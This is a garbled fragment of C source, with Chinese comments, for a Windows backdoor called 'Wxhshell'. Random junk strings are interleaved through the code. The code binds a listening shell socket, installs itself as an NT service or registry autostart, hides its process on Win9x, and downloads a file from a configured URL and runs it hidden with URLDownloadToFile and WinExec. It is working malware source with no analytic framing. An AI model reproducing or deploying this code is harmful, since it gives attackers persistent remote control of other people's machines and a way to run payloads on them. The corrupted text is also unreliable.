%wCY` return 0; // 注册表启动 3 8m5&5)1F } Y, )'0O }[SWt3qV1 // 主模块 Z;P[)q int StartWxhshell(LPSTR lpCmdLine) /#GX4&z { JnlM0jc]` SOCKET wsl; =;9Wh!{ BOOL val=TRUE; Y7zg int port=0; i-vhX4:bd struct sockaddr_in door; 9N:Bu'j&/ uI}S9 if(wscfg.ws_autoins) Install(); m>yk4@a y4t M0h port=atoi(lpCmdLine); G!C2[:[g :MV]OLRM if(port<=0) port=wscfg.ws_port; Kzb&aOw J$%mG*Y( WSADATA data; yNoJrA if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @TdPeTw\ N4}j,{# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &jT>)MXPu setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pLE|#58I door.sin_family = AF_INET; 2G=Bav\n+ door.sin_addr.s_addr = inet_addr("127.0.0.1"); NIY0f@1z- door.sin_port = htons(port); ,2qJXMg"=$ |<96H8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U}x2,`PI closesocket(wsl); h
\hQ return 1; 5wmH3g#0 } Z2_eTC
u ),(ejRP'r if(listen(wsl,2) == INVALID_SOCKET) { cZuZfMDM closesocket(wsl); tx;MH5s/V return 1; @F]6[ } cpF\^[D Wxhshell(wsl); '>^+_|2 WSACleanup(); FVW<F(g` [=z1~dXKb return 0; 9OuK}Ssf hPE#l?H@A } y\$B9KX ~}q"M[{ // 以NT服务方式启动 #UG| \}Lp VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B.-5$4*s { R]VY
PNns DWORD status = 0; s^TF+d?B DWORD specificError = 0xfffffff; \rY|l
iNUisl serviceStatus.dwServiceType = SERVICE_WIN32; q(M[ij serviceStatus.dwCurrentState = SERVICE_START_PENDING; .h~M&d! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qAUqlSP5 serviceStatus.dwWin32ExitCode = 0; P%z\^\p"5 serviceStatus.dwServiceSpecificExitCode = 0; T^B&GgW serviceStatus.dwCheckPoint = 0; p+SFeUp serviceStatus.dwWaitHint = 0; }{[H@uhjH FbO-K- hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (cAv :EKpo if (hServiceStatusHandle==0) return; +Pd&YfU9 _A|1_^[G( status = GetLastError(); z6#N f, if (status!=NO_ERROR) 4(o: #9I { z9}rT<hy serviceStatus.dwCurrentState = SERVICE_STOPPED; LzB)o\a serviceStatus.dwCheckPoint = 0; ]:(>r&' serviceStatus.dwWaitHint = 0; GMU.Kt serviceStatus.dwWin32ExitCode = status; $~`a,[e< serviceStatus.dwServiceSpecificExitCode = specificError; =24)`Lyb SetServiceStatus(hServiceStatusHandle, &serviceStatus); D|/Azy.[ return; A)Wp W M } "#z4 -l+&Bkf serviceStatus.dwCurrentState = SERVICE_RUNNING; VI,z7
\ serviceStatus.dwCheckPoint = 0; C18pK8- serviceStatus.dwWaitHint = 0; _v{,vLH if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6^F"np{w } 0N$tSTo.-< &Y%Kr`.h // 处理NT服务事件,比如:启动、停止 mq`N&ABO!K VOID WINAPI NTServiceHandler(DWORD fdwControl) v%n'_2J =^ { M` Jj! switch(fdwControl) v|t_kNX;v* { ge)g ?IP4 case SERVICE_CONTROL_STOP: -l8n0P1+ serviceStatus.dwWin32ExitCode = 0; =B4U~|k serviceStatus.dwCurrentState = SERVICE_STOPPED; {(]B{n serviceStatus.dwCheckPoint = 0; s
Z(LT'} serviceStatus.dwWaitHint = 0; 2hdi)C,7Y { O Ul+es SetServiceStatus(hServiceStatusHandle, &serviceStatus); N3g[,BE } _m;0%]+ return; EKZ40z` case SERVICE_CONTROL_PAUSE: ?vPw I serviceStatus.dwCurrentState = SERVICE_PAUSED; zuUf:%k}I break; D{'x7!5r case SERVICE_CONTROL_CONTINUE: FiMP_ y*S serviceStatus.dwCurrentState = SERVICE_RUNNING; "2;$?*hO# break; X&nkc/erx case SERVICE_CONTROL_INTERROGATE: 5|f[evQj<S break; 7r 07N' }; ?6+GE_VZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); zB/$*Hd } sJg-FVe2 uy)iB'st& // 标准应用程序主函数 >DVjO9Kf int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u4bPj2N8I { ..V6U"/ ]Cnj=\' // 获取操作系统版本 #x$. OsIsNt=GetOsVer(); nF0$ GetModuleFileName(NULL,ExeFile,MAX_PATH); 8~AO~ $J"}7+ // 从命令行安装 jo{[*]Oa if(strpbrk(lpCmdLine,"iI")) Install(); ~j}di^<{ Q<B=m6~ // 下载执行文件 P$S>=*`n
U if(wscfg.ws_downexe) { 6f,#O8]#5 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u:&gp WinExec(wscfg.ws_filenam,SW_HIDE);
YqX/7b+ } VFz(U)._ #X'!wr|- if(!OsIsNt) { P0uUVU=B| // 如果时win9x,隐藏进程并且设置为注册表启动 .>DqdtP[ HideProc(); eyBLgJt8P StartWxhshell(lpCmdLine); pqFgi_2m } h~{TCK+I else (.4mX
t if(StartFromService()) w G[X*/v // 以服务方式启动 EL$l .
v StartServiceCtrlDispatcher(DispatchTable); =Y#)c]` else +:pjQ1LsJ // 普通方式启动 ~f0Bu:A) StartWxhshell(lpCmdLine); NF&R}7L 'qwFVP return 0; >M[wh> }
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